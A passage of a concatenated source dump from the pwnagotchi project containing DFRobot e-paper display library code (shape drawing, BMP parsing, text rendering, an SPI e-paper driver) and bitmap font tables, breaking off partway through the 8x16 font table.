self.fillRect(x + vx - halfLineWidth, y - vy - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 1 self.fillRect(x + vy - halfLineWidth, y - vx - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 1 if quadrant & self.QUADRANT_2: self.fillRect(x - vx - halfLineWidth, y - vy - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 2 self.fillRect(x - vy - halfLineWidth, y - vx - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 2 if quadrant & self.QUADRANT_3: self.fillRect(x - vx - halfLineWidth, y + vy - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 3 self.fillRect(x - vy - halfLineWidth, y + vx - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 3 if quadrant & self.QUADRANT_4: self.fillRect(x + vx - halfLineWidth, y + vy - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 4 self.fillRect(x + vy - halfLineWidth, y + vx - halfLineWidth, self._lineWidth, self._lineWidth, color) # quadrant 4 def circle(self, x, y, r, color): self.circleHelper(x, y, r, self.QUADRANT_ALL, color) def fillCircleHelper(self, x, y, r, quadrant, color): x = int(x) y = int(y) r = abs(int(r)) temp = self._lineWidth self._lineWidth = 1 vx = 0 vy = r dx = 1 dy = -2 * r p = 1 - r if quadrant & self.QUADRANT_1: self.HLine(x, y, r + 1, color) if quadrant & self.QUADRANT_2: self.VLine(x, y, - r - 1, color) if quadrant & self.QUADRANT_3: self.HLine(x, y, - r - 1, color) if quadrant & self.QUADRANT_4: self.VLine(x, y, r + 1, color) while vx < vy: if p >= 0: vy -= 1 dy += 2 p += dy vx += 1 dx += 2 p += dx if quadrant & self.QUADRANT_1: self.VLine(x + vx, y - vy, vy, color) # quadrant 1 self.VLine(x + vy, y - vx, vx, color) # quadrant 1 if quadrant & self.QUADRANT_2: self.VLine(x - vx, y - vy, vy, color) # quadrant 2 self.VLine(x - vy, y - vx, vx, color) # quadrant 2 if quadrant & self.QUADRANT_3: self.VLine(x - vx, y + vy, - vy, color) # quadrant 3 self.VLine(x - vy, y + vx, - vx, color) # quadrant 3 if quadrant & self.QUADRANT_4: self.VLine(x + vx, y + vy, - vy, color) # quadrant 4 self.VLine(x + vy, y + vx, - vx, color) # quadrant 4 self._lineWidth = temp def fillCircle(self, x, y, r, color): self.fillCircleHelper(x, y, r, self.QUADRANT_ALL, color) def roundRect(self, x, y, w, h, r, color): x = int(x) y = int(y) w = int(w) h = int(h) r = abs(int(r)) if w < 0: x += w w = abs(w) if h < 0: y += h h = abs(h) self.HLine(x + r, y, w - 2 * r + 1, color) self.HLine(x + r, y + h, w - 2 * r + 1, color) self.VLine(x, y + r, h - 2 * r + 1, color) self.VLine(x + w, y + r, h - 2 * r + 1, color) self.circleHelper(x + r, y + r, r, self.QUADRANT_2, color) self.circleHelper(x + w - r, y + r, r, self.QUADRANT_1, color) self.circleHelper(x + r, y + h - r, r, self.QUADRANT_3, color) self.circleHelper(x + w - r, y + h - r, r, self.QUADRANT_4, color) def fillRoundRect(self, x, y, w, h, r, color): x = int(x) y = int(y) w = int(w) h = int(h) r = abs(int(r)) if w < 0: x += w w = abs(w) if h < 0: y += h h = abs(h) self.fillRect(x + r, y, w - 2 * r, h, color) self.fillRect(x, y + r, r, h - 2 * r, color) self.fillRect(x + w - r, y + r, r, h - 2 * r, color) self.fillCircleHelper(x + r, y + r, r, self.QUADRANT_2, color) self.fillCircleHelper(x + w - r - 1, y + r, r, self.QUADRANT_1, color) self.fillCircleHelper(x + r, y + h - r - 1, r, self.QUADRANT_3, color) self.fillCircleHelper(x + w - r - 1, y + h - r - 1, r, self.QUADRANT_4, color) def _bitmapHelper(self, increaseAxis, staticAxis, data, dataBit, exchange, color, background): for i in data: for j in range(8): if i & dataBit: if exchange: self.fillRect(staticAxis, increaseAxis, self._bitmapSize, self._bitmapSize, color) else: self.fillRect(increaseAxis, staticAxis, self._bitmapSize, self._bitmapSize, color) else: if exchange: self.fillRect(staticAxis, increaseAxis, self._bitmapSize, self._bitmapSize, background) else: self.fillRect(increaseAxis, staticAxis, self._bitmapSize, self._bitmapSize, background) increaseAxis += self._bitmapSize if dataBit & 0x80: i <<= 1 else: i >>= 1 def bitmap(self, x, y, bitmap, w, h, color, background): if w < 0 or h < 0: return x = abs(int(x)) y = abs(int(y)) if self._bmpFmt == self.BITMAP_TBMLLR: oneLineDataLen = (w - 1) // 8 + 1 for i in range(h): yMask = y + i * self._bitmapSize self._bitmapHelper(x, yMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x80, False, color, background) elif self._bmpFmt == self.BITMAP_TBMRLL: oneLineDataLen = (w - 1) // 8 + 1 for i in range(h): yMask = y + i * self._bitmapSize self._bitmapHelper(x, yMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x01, False, color, background) elif self._bmpFmt == self.BITMAP_BTMLLR: oneLineDataLen = (w - 1) // 8 + 1 for i in range(h): yMask = y + h * self._bitmapSize - i * self._bitmapSize self._bitmapHelper(x, yMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x80, False, color, background) elif self._bmpFmt == self.BITMAP_BTMRLL: oneLineDataLen = (w - 1) // 8 + 1 for i in range(h): yMask = y + h * self._bitmapSize - i * self._bitmapSize self._bitmapHelper(x, yMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x01, False, color, background) elif self._bmpFmt == self.BITMAP_LRMTLB: oneLineDataLen = (h - 1) // 8 + 1 for i in range(w): xMask = x + i * self._bitmapSize self._bitmapHelper(y, xMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x80, True, color, background) elif self._bmpFmt == self.BITMAP_LRMBLT: oneLineDataLen = (h - 1) // 8 + 1 for i in range(w): xMask = x + i * self._bitmapSize self._bitmapHelper(y, xMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x01, True, color, background) elif self._bmpFmt == self.BITMAP_RLMTLB: oneLineDataLen = (h - 1) // 8 + 1 for i in range(w): xMask = x + w * self._bitmapSize - i * self._bitmapSize self._bitmapHelper(y, xMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x80, True, color, background) elif self._bmpFmt == self.BIMTAP_RLMBLT: oneLineDataLen = (h - 1) // 8 + 1 for i in range(w): xMask = x + w * self._bitmapSize - i * self._bitmapSize self._bitmapHelper(y, xMask, bitmap[i * oneLineDataLen : oneLineDataLen * (i + 1)], 0x01, True, color, background) def _bytesToNumber(self, data): r = 0 i = len(data) while i > 0: i -= 1 r = r << 8 | data[i] return r def _getQuads(self, data, count): r = [] for i in range(count): r.append(data[i * 4 + 54 : i * 4 + 58]) return r BITMAP_COMPRESSION_NO = 0 BITMAP_COMPRESSION_RLE8 = 1 BITMAP_COMPRESSION_RLE4 = 2 BITMAP_COMPRESSION_FIELDS = 3 def startDrawBitmapFile(self, x, y): pass def bitmapFileHelper(self, buf): pass def endDrawBitmapFile(self): pass def bitmapFile(self, x, y, path): try: f = open(path, "rb") except: print("open file error") return c = bytearray(f.read()) f.close() if c[0] != 0x42 and c[1] != 0x4d: print("file error") print(c[0]) print(c[1]) return DIBOffset = self._bytesToNumber(c[10:14]) width = self._bytesToNumber(c[18:22]) height = self._bytesToNumber(c[22:26]) colorBits = self._bytesToNumber(c[28:30]) compression = self._bytesToNumber(c[30:32]) # print("w: %d, h: %d, colorBits: %d" %(width, height, colorBits)) if colorBits == 24: width3 = width * 3 for i in range(height): self.startDrawBitmapFile(x, y + height - i) buf = [] left = DIBOffset + i * width3 i = 0 while i < width3: buf.append(c[left + i + 2]) buf.append(c[left + i + 1]) buf.append(c[left + i + 0]) i += 3 self.bitmapFileHelper(buf) self.endDrawBitmapFile() elif colorBits == 1: quads = self._getQuads(c, 2) addr = DIBOffset if compression == self.BITMAP_COMPRESSION_NO: addrCountComplement = (width // 8 + 1) % 4 if addrCountComplement != 0: addrCountComplement = 4 - addrCountComplement for i in range(height): w = width addrCount = 0 self.startDrawBitmapFile(x, y + height - i - 1) buf = [] while w > 0: d = c[addr + addrCount] addrCount = addrCount + 1 j = 8 while w > 0 and j > 0: j -= 1 quad = d & (0x01 << j) if quad > 0: quad = 1 buf.append(quads[quad][2]) buf.append(quads[quad][1]) buf.append(quads[quad][0]) w -= 1 self.bitmapFileHelper(buf) addrCount += addrCountComplement addr += addrCount self.endDrawBitmapFile() else: print("dont support this bitmap file format yet") def writeOneChar(self, c): if len(c) > 1: c = c[0] (l, width, height, fmt) = self._fonts.getOneCharacter(c) temp = self._bmpFmt self._bmpFmt = fmt ts = self._textSize if ord(c) == ord("\n"): self._textCursorX = 0 self._textCursorY += height * ts + self._textIntervalCol elif len(l): temp1 = self._bitmapSize self._bitmapSize = ts self._textCursorX += self._textIntervalRow if self._textCursorX + ts * width > self._width: self.fillRect(self._textCursorX, self._textCursorY, self._width - self._textCursorX, self._fonts._extensionFontsHeight * ts + self._textIntervalCol, self._textBackground) self._textCursorX = self._textIntervalRow self._textCursorY += ts * self._fonts._extensionFontsHeight + self._textIntervalCol self.fillRect(self._textCursorX, self._textCursorY, self._fonts._extensionFontsWidth * ts + self._textIntervalRow, self._fonts._extensionFontsHeight * ts + self._textIntervalCol, self._textBackground) self.bitmap(self._textCursorX, self._textCursorY, l, width, height, self._textColor, self._textBackground) self._textCursorX += ts * width self._bitmapSize = temp1 self._bmpFmt = temp ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/dfrobot_display/dfrobot_fonts.py ================================================ # -*- coding:utf-8 -*- import json class Fonts: def __init__(self): self._haveFontsABC = False self._fontsABC = {} self._fontsABCWidth = 0 self._fontsABCHeight = 0 self._fontsABCFmt = "" self._haveExtensionFonts = False self._extensionFontsWidth = 0 self._extensionFontsHeight = 0 self._enableDefaultFonts = True def setFontsABC(self, fonts): self._haveFontsABC = True self._fontsABC = fonts.fonts self._fontsABCWidth = fonts.width self._fontsABCHeight = fonts.height self._fontsABCFmt = fonts.fmt self._extensionFontsWidth = fonts.width * 2 self._extensionFontsHeight = fonts.height * 2 def setExFonts(self, obj): self._haveExtensionFonts = True self._extensionFonts = obj self._enableDefaultFonts = False def setEnableDefaultFonts(self, opt): if opt: self._enableDefaultFonts = True else: self._enableDefaultFonts = False def setExFontsFmt(self, width, height): if self._haveExtensionFonts: self._extensionFonts.setFmt(width, height) self._extensionFontsWidth = width self._extensionFontsHeight = height def getOneCharacter(self, c): w = 0 h = 0 fmt = "UNKNOW" rslt = [] done = False if self._haveFontsABC and self._enableDefaultFonts: try: rslt = self._fontsABC[c] w = self._fontsABCWidth h = self._fontsABCHeight fmt = self._fontsABCFmt done = True except: # print("try get fonts ABC faild") pass if self._haveExtensionFonts and done == False: try: (rslt, w, h, fmt) = self._extensionFonts.getOne(c) done = True except: print("try get unicode fonts faild: %s" %(c)) return (rslt, w, h, fmt) ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/dfrobot_display/dfrobot_printString.py ================================================ # -*- coding:utf-8 -*- import sys class PrintString: def __init__(self): pass def writeOneChar(self, ch): pass def printStr(self, c): try: c = str(c) except: return if sys.version_info.major == 2: c = c.decode("utf-8") for i in c: self.writeOneChar(i) def printStrLn(self, c): self.printStr(c) self.writeOneChar("\n") ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/dfrobot_epaper.py ================================================ # -*- coding:utf-8 -*- import time import sys sys.path.append("..") import RPi.GPIO as RPIGPIO from .dfrobot_display.dfrobot_display import DFRobot_Display from .display_extension import fonts_8_16 as fonts_ABC try: from .spi import SPI from .gpio import GPIO except: print("unknow platform") exit() CONFIG_IL0376F = { } CONFIG_IL3895 = { } class DFRobot_Epaper(DFRobot_Display): XDOT = 128 YDOT = 250 FULL = True PART = False def __init__(self, width = 250, height = 122): DFRobot_Display.__init__(self, width, height) # length = width * height // 8 length = 4000 self._displayBuffer = bytearray(length) i = 0 while i < length: self._displayBuffer[i] = 0xff i = i + 1 self._isBusy = False self._busyExitEdge = GPIO.RISING self._fonts.setFontsABC(fonts_ABC) self.setExFontsFmt(16, 16) def _busyCB(self, channel): self._isBusy = False def setBusyExitEdge(self, edge): if edge != GPIO.HIGH and edge != GPIO.LOW: return self._busyEdge = edge def begin(self): pass #self._init() #self._powerOn() #self.setBusyCB(self._busyCB) #self._powerOn() def setBuffer(self, buffer): self._displayBuffer = buffer def pixel(self, x, y, color): if x < 0 or x >= self._width: return if y < 0 or y >= self._height: return x = int(x) y = int(y) m = int(x * 16 + (y + 1) / 8) sy = int((y + 1) % 8) if color == self.WHITE: if sy != 0: self._displayBuffer[m] = self._displayBuffer[m] | int(pow(2, 8 - sy)) else: self._displayBuffer[m - 1] = self._displayBuffer[m - 1] | 1 elif color == self.BLACK: if sy != 0: self._displayBuffer[m] = self._displayBuffer[m] & (0xff - int(pow(2, 8 - sy))) else: self._displayBuffer[m - 1] = self._displayBuffer[m - 1] & 0xfe def _initLut(self, mode): if mode == self.FULL: self.writeCmdAndData(0x32, [ 0xA0, 0x90, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x90, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x90, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x90, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x0F, 0x00, 0x00, 0x00, 0x0F, 0x0F, 0x00, 0x00, 0x03, 0x0F, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ]) elif mode == self.PART: self.writeCmdAndData(0x32, [0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x00, 0x00, 0x00, 0x00, 0x0, 0x00, 0x00, 0x00, 0x00, 0x0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, ]) def _setRamData(self, xStart, xEnd, yStart, yStart1, yEnd, yEnd1): self.writeCmdAndData(0x44, [xStart, xEnd]) self.writeCmdAndData(0x45, [yStart, yStart1, yEnd, yEnd1]) def _setRamPointer(self, x, y, y1): self.writeCmdAndData(0x4e, [x]) self.writeCmdAndData(0x4f, [y, y1]) def _init(self,mode): self.writeCmdAndData(0x12, []) self.writeCmdAndData(0x01, [0xf9, 0x00, 0x00]) self.writeCmdAndData(0x74, [0x54]) self.writeCmdAndData(0x7e, [0x3b]) self.writeCmdAndData(0x11, [0x01]) self._setRamData(0x00, 0x0f, 0xf9,0x00, 0x00, 0x00) self.writeCmdAndData(0x3c, [0x03]) self._setRamPointer(0x00, 0xf9, 0x00) self.writeCmdAndData(0x21, [0x08]) self.writeCmdAndData(0x2c, [0x50]) self.writeCmdAndData(0x03, [0x15]) self.writeCmdAndData(0x04, [0x41,0xa8,0x32]) self.writeCmdAndData(0x3a, [0x2c]) self.writeCmdAndData(0x3b, [0x0b]) self.writeCmdAndData(0x0c, [0x8b,0x9c,0x96,0x0f]) def _writeDisRam(self, sizeX, sizeY): if sizeX % 8 != 0: sizeX = sizeX + (8 - sizeX % 8) sizeX = sizeX // 8 self.writeCmdAndData(0x24, self._displayBuffer[0: sizeX * sizeY]) def _updateDis(self, mode): if mode == self.FULL: self.writeCmdAndData(0x22, [0xc7]) elif mode == self.PART: self.writeCmdAndData(0x22, [0xc7]) else: return self.writeCmdAndData(0x20, []) def _waitBusyExit(self): temp = 0 while self.readBusy() != False: time.sleep(0.01) temp = temp + 1 if (temp % 200) == 0: print("waitBusyExit") def _powerOn(self): self.writeCmdAndData(0x22, [0xC0]) self.writeCmdAndData(0x20, []) def _powerOff(self): self.writeCmdAndData(0x10, [0x01]) time.sleep(0.1) def _disPart(self, xStart, xEnd, yStart, yEnd): self._setRamData(xStart // 8, xEnd // 8, yEnd % 256, yEnd // 256, yStart % 256, yStart // 256) self._setRamPointer(xStart // 8, yEnd % 256, yEnd // 256) self._writeDisRam(xEnd - xStart, yEnd - yStart + 1) self._updateDis(self.PART) def flush(self, mode): if mode != self.FULL and mode != self.PART: return self._init(mode) self._initLut(mode) self._powerOn() if mode == self.PART: self._disPart(0, self.XDOT - 1, 0, self.YDOT - 1) else: self._setRamPointer(0x00, (self.YDOT - 1) % 256, (self.YDOT - 1) // 256) self._writeDisRam(self.XDOT, self.YDOT) self._updateDis(self.FULL) def startDrawBitmapFile(self, x, y): self._bitmapFileStartX = x self._bitmapFileStartY = y def bitmapFileHelper(self, buf): for i in range(len(buf) // 3): addr = i * 3 if buf[addr] == 0x00 and buf[addr + 1] == 0x00 and buf[addr + 2] == 0x00: self.pixel(self._bitmapFileStartX, self._bitmapFileStartY, self.BLACK) else: self.pixel(self._bitmapFileStartX, self._bitmapFileStartY, self.WHITE) self._bitmapFileStartX += 1 def endDrawBitmapFile(self): self.flush(self.PART) class DFRobot_Epaper_SPI(DFRobot_Epaper): def __init__(self, bus, dev, cs, cd, busy): DFRobot_Epaper.__init__(self) self._spi = SPI(bus, dev) self._cs = GPIO(cs, GPIO.OUT) self._cd = GPIO(cd, GPIO.OUT) self._busy = GPIO(busy, GPIO.IN) def writeCmdAndData(self, cmd, data = []): self._waitBusyExit() self._cs.setOut(GPIO.LOW) self._cd.setOut(GPIO.LOW) self._spi.transfer([cmd]) self._cd.setOut(GPIO.HIGH) self._spi.transfer(data) self._cs.setOut(GPIO.HIGH) def readBusy(self): return self._busy.read() def setBusyCB(self, cb): self._busy.setInterrupt(self._busyExitEdge, cb) def __del__(self): RPIGPIO.cleanup() ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/display_extension/__init__.py ================================================ ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/display_extension/fonts_6_8.py ================================================ fonts = { # left to right, msb to bottom, lsb to top " ": [0x00,0x00,0x00,0x00,0x00,0x00], "!": [0x00,0x00,0x5F,0x00,0x00,0x00], "\"": [0x00,0x07,0x00,0x07,0x00,0x00], "#": [0x14,0x7F,0x14,0x7F,0x14,0x00], "$": [0x24,0x2A,0x7F,0x2A,0x12,0x00], "%": [0x23,0x13,0x08,0x64,0x62,0x00], "&": [0x36,0x49,0x56,0x20,0x50,0x00], "'": [0x00,0x08,0x07,0x03,0x00,0x00], "(": [0x00,0x1C,0x22,0x41,0x00,0x00], ")": [0x00,0x41,0x22,0x1C,0x00,0x00], "*": [0x24,0x18,0x7E,0x18,0x24,0x00], "+": [0x08,0x08,0x3E,0x08,0x08,0x00], ",": [0x00,0x80,0x70,0x30,0x00,0x00], "-": [0x08,0x08,0x08,0x08,0x08,0x00], ".": [0x00,0x00,0x60,0x60,0x00,0x00], "/": [0x20,0x10,0x08,0x04,0x02,0x00], "0": [0x3E,0x41,0x49,0x41,0x3E,0x00], "1": [0x00,0x42,0x7F,0x40,0x00,0x00], "2": [0x72,0x49,0x49,0x49,0x46,0x00], "3": [0x21,0x41,0x49,0x4D,0x32,0x00], "4": [0x18,0x14,0x12,0x7F,0x10,0x00], "5": [0x27,0x45,0x45,0x45,0x38,0x00], "6": [0x3C,0x4A,0x49,0x49,0x31,0x00], "7": [0x41,0x21,0x11,0x09,0x07,0x00], "8": [0x36,0x49,0x49,0x49,0x36,0x00], "9": [0x46,0x49,0x49,0x29,0x16,0x00], ":": [0x00,0x00,0x14,0x00,0x00,0x00], ";": [0x00,0x40,0x34,0x00,0x00,0x00], "<": [0x00,0x08,0x14,0x22,0x41,0x00], "=": [0x14,0x14,0x14,0x14,0x14,0x00], ">": [0x00,0x41,0x22,0x14,0x08,0x00], "?": [0x02,0x01,0x59,0x09,0x06,0x00], "@": [0x3E,0x41,0x5D,0x59,0x4E,0x00], "A": [0x7C,0x12,0x11,0x12,0x7C,0x00], "B": [0x7F,0x49,0x49,0x49,0x36,0x00], "C": [0x3E,0x41,0x41,0x41,0x22,0x00], "D": [0x7F,0x41,0x41,0x41,0x3E,0x00], "E": [0x7F,0x49,0x49,0x49,0x41,0x00], "F": [0x7F,0x09,0x09,0x09,0x01,0x00], "G": [0x3E,0x41,0x41,0x51,0x73,0x00], "H": [0x7F,0x08,0x08,0x08,0x7F,0x00], "I": [0x00,0x41,0x7F,0x41,0x00,0x00], "J": [0x20,0x40,0x41,0x3F,0x01,0x00], "K": [0x7F,0x08,0x14,0x22,0x41,0x00], "L": [0x7F,0x40,0x40,0x40,0x40,0x00], "M": [0x7F,0x02,0x1C,0x02,0x7F,0x00], "N": [0x7F,0x04,0x08,0x10,0x7F,0x00], "O": [0x3E,0x41,0x41,0x41,0x3E,0x00], "P": [0x7F,0x09,0x09,0x09,0x06,0x00], "Q": [0x3E,0x41,0x51,0x21,0x5E,0x00], "R": [0x7F,0x09,0x19,0x29,0x46,0x00], "S": [0x26,0x49,0x49,0x49,0x32,0x00], "T": [0x03,0x01,0x7F,0x01,0x03,0x00], "U": [0x3F,0x40,0x40,0x40,0x3F,0x00], "V": [0x1F,0x20,0x40,0x20,0x1F,0x00], "W": [0x3F,0x40,0x38,0x40,0x3F,0x00], "X": [0x63,0x14,0x08,0x14,0x63,0x00], "Y": [0x03,0x04,0x78,0x04,0x03,0x00], "Z": [0x61,0x59,0x49,0x4D,0x43,0x00], "[": [0x00,0x7F,0x41,0x41,0x41,0x00], "\\": [0x02,0x04,0x08,0x10,0x20,0x00], "]": [0x00,0x41,0x41,0x41,0x7f,0x00], "^": [0x04,0x02,0x01,0x02,0x04,0x00], "_": [0x40,0x40,0x40,0x40,0x46,0x00], "'": [0x00,0x03,0x07,0x08,0x00,0x00], "a": [0x20,0x54,0x54,0x78,0x40,0x00], "b": [0x7F,0x28,0x44,0x44,0x38,0x00], "c": [0x38,0x44,0x44,0x44,0x28,0x00], "d": [0x38,0x44,0x44,0x28,0x7F,0x00], "e": [0x38,0x54,0x54,0x54,0x18,0x00], "f": [0x00,0x08,0x7E,0x09,0x02,0x00], "g": [0x38,0xA4,0xA4,0x9C,0x78,0x00], "h": [0x7F,0x08,0x04,0x04,0x78,0x00], "i": [0x00,0x44,0x7D,0x40,0x00,0x00], "j": [0x20,0x40,0x40,0x3D,0x00,0x00], "k": [0x7F,0x10,0x28,0x44,0x00,0x00], "l": [0x00,0x41,0x7F,0x40,0x00,0x00], "m": [0x7C,0x04,0x78,0x04,0x78,0x00], "n": [0x7C,0x08,0x04,0x04,0x78,0x00], "o": [0x38,0x44,0x44,0x44,0x38,0x00], "p": [0xFC,0x18,0x24,0x24,0x18,0x00], "q": [0x18,0x24,0x24,0x18,0xFC,0x00], "r": [0x7C,0x08,0x04,0x04,0x08,0x00], "s": [0x48,0x54,0x54,0x54,0x24,0x00], "t": [0x04,0x04,0x3F,0x44,0x24,0x00], "u": [0x3C,0x40,0x40,0x20,0x7C,0x00], "v": [0x1C,0x20,0x40,0x20,0x1C,0x00], "w": [0x3C,0x40,0x20,0x40,0x3C,0x00], "x": [0x44,0x28,0x10,0x28,0x44,0x00], "y": [0x4C,0x90,0x90,0x90,0x7C,0x00], "z": [0x44,0x64,0x54,0x4C,0x44,0x00], "{": [0x00,0x08,0x36,0x41,0x00,0x00], "|": [0x00,0x00,0x77,0x00,0x00,0x00], "}": [0x00,0x41,0x36,0x08,0x00,0x00], "~": [0x02,0x01,0x02,0x04,0x02,0x00] } width = 6 height = 8 fmt = "LRMBLT" ================================================ FILE: pwnagotchi/ui/hw/libs/dfrobot/v2/display_extension/fonts_8_16.py ================================================ fonts = { # top to bottom, msb left, lsb right " ": [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00], "!": [0x00,0x00,0x18,0x3C,0x3C,0x3C,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00], "\"": [0x00,0x63,0x63,0x63,0x22,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00], "#": [0x00,0x00,0x00,0x36,0x36,0x7F,0x36,0x36,0x36,0x7F,0x36,0x36,0x00,0x00,0x00,0x00], "$": [0x0C,0x0C,0x3E,0x63,0x61,0x60,0x3E,0x03,0x03,0x43,0x63,0x3E,0x0C,0x0C,0x00,0x00], "%": [0x00,0x00,0x00,0x00,0x00,0x61,0x63,0x06,0x0C,0x18,0x33,0x63,0x00,0x00,0x00,0x00], "&": [0x00,0x00,0x00,0x1C,0x36,0x36,0x1C,0x3B,0x6E,0x66,0x66,0x3B,0x00,0x00,0x00,0x00], "'": [0x00,0x30,0x30,0x30,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00], "(": [0x00,0x00,0x0C,0x18,0x18,0x30,0x30,0x30,0x30,0x18,0x18,0x0C,0x00,0x00,0x00,0x00], ")": [0x00,0x00,0x18,0x0C,0x0C,0x06,0x06,0x06,0x06,0x0C,0x0C,0x18,0x00,0x00,0x00,0x00], "*": [0x00,0x00,0x00,0x00,0x42,0x66,0x3C,0xFF,0x3C,0x66,0x42,0x00,0x00,0x00,0x00,0x00], "+": [0x00,0x00,0x00,0x00,0x18,0x18,0x18,0xFF,0x18,0x18,0x18,0x00,0x00,0x00,0x00,0x00], ",": [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x18,0x30,0x00,0x00], "-": [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00], ".": [0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00], "/": [0x00,0x00,0x01,0x03,0x07,0x0E,0x1C,0x38,0x70,0xE0,0xC0,0x80,0x00,0x00,0x00,0x00], "0": [0x00,0x00,0x3E,0x63,0x63,0x63,0x6B,0x6B,0x63,0x63,0x63,0x3E,0x00,0x00,0x00,0x00], "1": [0x00,0x00,0x0C,0x1C,0x3C,0x0C,0x0C,0x0C,0x0C,0x0C,0x0C,0x3F,0x00,0x00,0x00,0x00], "2": [0x00,0x00,0x3E,0x63,0x03,0x06,0x0C,0x18,0x30,0x61,0x63,0x7F,0x00,0x00,0x00,0x00], "3": [0x00,0x00,0x3E,0x63,0x03,0x03,0x1E,0x03,0x03,0x03,0x63,0x3E,0x00,0x00,0x00,0x00], "4": [0x00,0x00,0x06,0x0E,0x1E,0x36,0x66,0x66,0x7F,0x06,0x06,0x0F,0x00,0x00,0x00,0x00], "5": [0x00,0x00,0x7F,0x60,0x60,0x60,0x7E,0x03,0x03,0x63,0x73,0x3E,0x00,0x00,0x00,0x00], "6": [0x00,0x00,0x1C,0x30,0x60,0x60,0x7E,0x63,0x63,0x63,0x63,0x3E,0x00,0x00,0x00,0x00], "7": [0x00,0x00,0x7F,0x63,0x03,0x06,0x06,0x0C,0x0C,0x18,0x18,0x18,0x00,0x00,0x00,0x00], "8": [0x00,0x00,0x3E,0x63,0x63,0x63,0x3E,0x63,0x63,0x63,0x63,0x3E,0x00,0x00,0x00,0x00], "9": [0x00,0x00,0x3E,0x63,0x63,0x63,0x63,0x3F,0x03,0x03,0x06,0x3C,0x00,0x00,0x00,0x00], ":": [0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00], ";": [0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x18,0x30,0x00,0x00], "<": [0x00,0x00,0x00,0x06,0x0C,0x18,0x30,0x60,0x30,0x18,0x0C,0x06,0x00,0x00,0x00,0x00], "=": [0x00,0x00,0x00,0x00,0x00,0x00,0x7E,0x00,0x00,0x7E,0x00,0x00,0x00,0x00,0x00,0x00], ">": [0x00,0x00,0x00,0x60,0x30,0x18,0x0C,0x06,0x0C,0x18,0x30,0x60,0x00,0x00,0x00,0x00], "?": [0x00,0x00,0x3E,0x63,0x63,0x06,0x0C,0x0C,0x0C,0x00,0x0C,0x0C,0x00,0x00,0x00,0x00], "@": [0x00,0x00,0x3E,0x63,0x63,0x6F,0x6B,0x6B,0x6E,0x60,0x60,0x3E,0x00,0x00,0x00,0x00], "A": [0x00,0x00,0x08,0x1C,0x36,0x63,0x63,0x63,0x7F,0x63,0x63,0x63,0x00,0x00,0x00,0x00], "B": [0x00,0x00,0x7E,0x33,0x33,0x33,0x3E,0x33,0x33,0x33,0x33,0x7E,0x00,0x00,0x00,0x00], "C": [0x00,0x00,0x1E,0x33,0x61,0x60,0x60,0x60,0x60,0x61,0x33,0x1E,0x00,0x00,0x00,0x00], "D": 